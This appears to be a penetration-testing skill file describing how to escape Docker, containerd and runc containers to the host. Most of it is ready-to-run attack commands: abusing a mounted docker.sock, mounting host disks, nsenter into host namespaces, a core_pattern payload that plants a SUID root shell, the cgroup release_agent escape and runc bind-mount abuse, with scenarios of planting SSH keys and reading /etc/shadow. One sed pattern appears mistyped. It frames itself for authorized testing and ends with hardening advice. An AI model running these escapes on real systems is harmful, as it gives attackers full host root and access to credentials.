name: exploiting-container-escapes description: Escaping Docker/containerd containers to the host during authorized engagements via privileged-container abuse (host disk mount, capabilities, nsenter), sensitive host mounts (docker.sock, /proc/sys/kernel/core_pattern, /proc/sysrq-trigger), the cgroup release_agent technique, and runc config.json bind-mount abuse. domain: cybersecurity subdomain: linux-hardening tags:
- penetration-testing
- linux
- containers
- container-escape
- docker version: '1.0' author: xalgorix license: Apache-2.0
Exploiting Container Escapes
When to Use
- After gaining code execution inside a Docker, containerd, or CRI-O container during an authorized engagement
- When the container was started with
--privileged, extra capabilities, or host namespaces - When sensitive host paths or sockets are bind-mounted into the container
- When
runc/ctrbinaries or a Docker socket are reachable from inside - During Kubernetes pod assessments where the pod's security context is weak
Critical: Techniques Most Often Missed
Operators see "it's a container" and stop. Run the recon block first — one writable socket or proc path is usually a host shell.
- Mounted Docker/containerd socket = trivial host root. Spawn a new container mounting host
/.- How to CONFIRM:
find / -name docker.sock 2>/dev/null; thendocker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt shgives a host root shell.
- How to CONFIRM:
- Privileged container + host block device. Mount the host disk and chroot.
- How to CONFIRM:
ls -l /dev/sd* /dev/vd* /dev/nvme*lists host disks;mount /dev/sda1 /mnt && chroot /mnt shreaches the host FS.
- How to CONFIRM:
- Writable
/proc/sys/kernel/core_pattern. A crash triggers a pipe handler that runs as root on the host.- How to CONFIRM:
[ -w /proc/sys/kernel/core_pattern ]; piping a payload viacore_patternand crashing a process drops a root SUID shell.
- How to CONFIRM:
- CAP_SYS_ADMIN + cgroup v1 = release_agent escape. No kernel exploit needed.
- How to CONFIRM:
capsh --print | grep sys_adminand a mountablecgroup; the release_agent script runs on the host when the cgroup empties.
- How to CONFIRM:
- Host PID namespace + nsenter. Enter PID 1's namespaces directly.
- How to CONFIRM:
ps -efshows host processes;nsenter -t 1 -m -u -n -i -p /bin/bashyields a host shell.
- How to CONFIRM:
- Reachable
runc. Craft aconfig.jsonthat bind-mounts host/and run it.- How to CONFIRM:
runc -helpworks; a container with a/rbind mount inconfig.jsonexposes the host root.
- How to CONFIRM:
Workflow
Step 1: Recon — Confirm Which Escape Families Are Viable
capsh --print # expanded cap set? cap_sys_admin?
grep Seccomp /proc/self/status # Seccomp: 0 = disabled
cat /proc/self/attr/current 2>/dev/null # AppArmor/SELinux confinement gone?
mount | grep -E '/proc|/sys| /host| /mnt| /var' # dangerous kernel FS / host binds
ls -l /dev/sd* /dev/vd* /dev/nvme* 2>/dev/null # host block devices visible?
find / -maxdepth 3 -name '*.sock' 2>/dev/null # runtime sockets
env ; cat /proc/1/cgroup # detect runtime + cgroup layout
# deepce.sh / amicontained give the same picture automatically
Step 2: Abuse a Mounted Runtime Socket
find / -maxdepth 4 \( -name docker.sock -o -name containerd.sock -o -name crio.sock \) 2>/dev/null
# Docker socket -> new container with host / mounted, then chroot
docker -H unix:///var/run/docker.sock run --rm -it -v /:/mnt ubuntu chroot /mnt bash
# containerd
ctr --address /run/containerd/containerd.sock images ls
Step 3: Privileged Container — Mount the Host Disk
fdisk -l 2>/dev/null ; blkid 2>/dev/null # identify host root partition
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host 2>/dev/null || mount /dev/vda1 /mnt/host
chroot /mnt/host /bin/bash
# Or bind-mount the already-visible host root
mkdir -p /tmp/host && mount --bind / /tmp/host && chroot /tmp/host /bin/bash
Step 4: Host Namespace Entry (nsenter)
which nsenter
nsenter -t 1 -m -u -n -i -p /bin/bash # needs CAP_SYS_ADMIN + host PID (--pid=host)
ps -ef | head # confirm you see host processes
Step 5: Sensitive Host Mount — core_pattern Host RCE
[ -w /proc/sys/kernel/core_pattern ] || echo "not writable"
# find the overlay upperdir so the host can read our script
overlay=$(mount | sed -n 's/.*upperdir=\([^,]*\).*/\1/p' | head -n1)
cat > /shell.sh <<'EOF'
#!/bin/sh
cp /bin/sh /tmp/rootsh; chmod u+s /tmp/rootsh
EOF
chmod +x /shell.sh
echo "|$overlay/shell.sh" > /proc/sys/kernel/core_pattern
# crash a process to trigger the pipe handler (runs as root on host)
cat > /tmp/crash.c <<'EOF'
int main(void){ char b[1]; for(int i=0;i<100;i++) b[i]=1; return 0; }
EOF
gcc /tmp/crash.c -o /tmp/crash && /tmp/crash
ls -l /tmp/rootsh
# Other high-value writable paths: /proc/sys/kernel/modprobe, /proc/sysrq-trigger, /proc/kcore (recon)
Step 6: CAP_SYS_ADMIN cgroup v1 release_agent Escape
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
# host path of our container's overlay
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n1)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat > /cmd <<EOF
#!/bin/sh
ps aux > $host_path/output
EOF
chmod +x /cmd
# trigger: process exits -> empties cgroup -> kernel runs release_agent as root on HOST
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
Step 7: runc config.json Bind-Mount Abuse
runc -help # runc reachable?
runc spec # generates config.json
# add to the "mounts" array in config.json:
# { "type":"bind","source":"/","destination":"/","options":["rbind","rw","rprivate"] }
mkdir rootfs
runc run demo # root folder is the HOST's /
Key Concepts
| Concept | Description |
|---|---|
| --privileged | Drops device cgroup limits, seccomp, AppArmor/SELinux; grants all capabilities |
| Host namespace sharing | --pid=host/--network=host; enables nsenter and host process visibility |
| Runtime socket exposure | A mounted docker.sock/containerd.sock = full control of the runtime as root |
| Sensitive host mount | Bind mounts of /proc, /sys, /var, devices exposing host kernel controls |
| core_pattern | Writable /proc/sys/kernel/core_pattern runs a pipe handler as root on crash |
| release_agent | cgroup v1 + CAP_SYS_ADMIN trick that executes a script on the host |
| runc config.json | A bind mount of / in the OCI spec exposes the host root filesystem |
Tools & Systems
| Tool | Purpose |
|---|---|
| amicontained | Reports capabilities, seccomp, and namespace/container detection |
| deepce | Automated Docker/container enumeration and escape helper |
| capsh | Confirm the container's capability set (cap_sys_admin etc.) |
| nsenter | Enter host namespaces from a CAP_SYS_ADMIN / host-PID container |
| docker / ctr | Drive a mounted runtime socket to launch a host-mounted container |
| runc | Run an OCI container with a host-root bind mount |
| linpeas | General host/container privesc enumeration |
Common Scenarios
Scenario 1: Mounted docker.sock
A CI container bind-mounts /var/run/docker.sock. docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt sh returns instant host root.
Scenario 2: Privileged container
capsh --print shows the full cap set and /dev/sda1 is visible. Mounting it and chroot writes an SSH key into the host's /root/.ssh.
Scenario 3: Writable core_pattern
A monitoring sidecar mounts /proc writable. Pointing core_pattern at an overlay script and crashing a process yields root code execution on the host.
Scenario 4: CAP_SYS_ADMIN without privileged
A container has --cap-add=SYS_ADMIN but is not fully privileged. The cgroup v1 release_agent technique escapes to the host with no kernel exploit.
Output Format
## Container Escape Finding
**Vulnerability**: Container Breakout to Host
**Severity**: Critical
**Container**: ci-runner (image: build:latest)
### Misconfiguration
- /var/run/docker.sock bind-mounted into the container
- capsh --print: full capability set (cap_sys_admin present)
- Seccomp: 0 (disabled)
### Exploitation
$ docker -H unix:///var/run/docker.sock run --rm -it -v /:/mnt alpine chroot /mnt sh
# id -> uid=0(root) on the HOST
# cat /etc/shadow (host file) -> readable
### Impact
Full compromise of the container host and every other container on it;
host SSH keys / cloud credentials recoverable.
### Recommendation
1. Never mount the Docker/containerd socket into containers
2. Drop --privileged; use --cap-drop=ALL and add only required capabilities
3. Keep seccomp + AppArmor/SELinux enabled; mount /proc and /sys read-only
4. Avoid bind-mounting host /proc, /var, or block devices
5. Use rootless runtimes / user namespaces and admission policies (PSA, OPA/Gatekeeper)